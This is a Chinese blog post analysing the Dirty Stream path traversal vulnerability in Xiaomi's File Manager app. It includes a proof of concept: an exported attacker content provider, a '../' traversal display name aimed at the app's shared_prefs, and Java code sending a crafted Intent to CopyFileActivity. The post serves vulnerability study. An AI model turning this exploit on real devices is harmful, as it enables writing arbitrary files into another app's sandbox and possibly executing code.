分析dirty-stream漏洞

山竹笠

已于 2024-05-13 08:08:40 修改

阅读量2k

点赞数 16

分类专栏：漏洞分析专栏文章标签：安卓安全

于 2024-05-12 16:04:50 首次发布

本文链接：https://blog.csdn.net/shanzhuli/article/details/138757850

版权

漏洞分析专栏专栏收录该内容

1 篇文章 0 订阅

订阅专栏

选择：2023年03月06 应用V1-210567版本

对标文章内容

结论：漏洞利用前置要求比较高，需要在手机上安装App并且要提供content provide组件，这个App的数据库里还必须写上穿越路径，之后发送Intent调起小米文件管理器，需要手动点击粘贴才行。

漏洞是能代码执行，但是不实用。

Detail：

漏洞成因是xiaomi读取我提供的content provide（不懂的自己去查）的 "_display_name"字段没有过滤 "../"导致可以拼接穿越路径。

补丁前后对比：

主要函数

补丁前：

补丁后：

利用：

创建攻击者App并提供Content Provide组件，是为了让xiaomi App读攻击者提供的带"../"的字符串内容。

攻击App的Manifest.xml配置如下：

    <provider
            android:name=".MyContentProvider2"
            android:authorities="com.hx.exploit2"
            android:enabled="true"
            android:exported="true"></provider>
        <provider

然后创建数据库并写入三个字段 'size','display_name','_data'.

其中display_name是可控的路径，攻击者向这个字段写入如下内容：

../../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/hx.txt

漏洞成功执行会在xiaomi App沙箱中的shared_prefs目录下创建hx.txt文件。

要写入的文件是攻击者App使用intent传递的。

       Uri uri = Uri.parse("content://com.hx.exploit/exploit.txt");	// 这里提供写入的文件路径
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer","com.android.fileexplorer.activity.CopyFileActivity"));
                intent.putExtra("from_private",true);
                intent.putExtra("inner_call",true);
                intent.putExtra("explorer_path","content://com.hx.exploit/exploit.txt");
                intent.setData(uri);
                intent.setAction("android.intent.action.SEND");
                startActivity(intent);

攻击者App使用这个Intent发送给xiaomi App。xiaomi App会解析Intent中的Uri内容并访问注册名为com.hx.exploit的content provide 组件(攻击者App) ,使用openFileDescriptor()函数读取文件内容。攻击者App重载实现了openFile()函数，这样达到了写入内容可控。有了路径穿越就可以写xiaomi App沙箱内任意文件。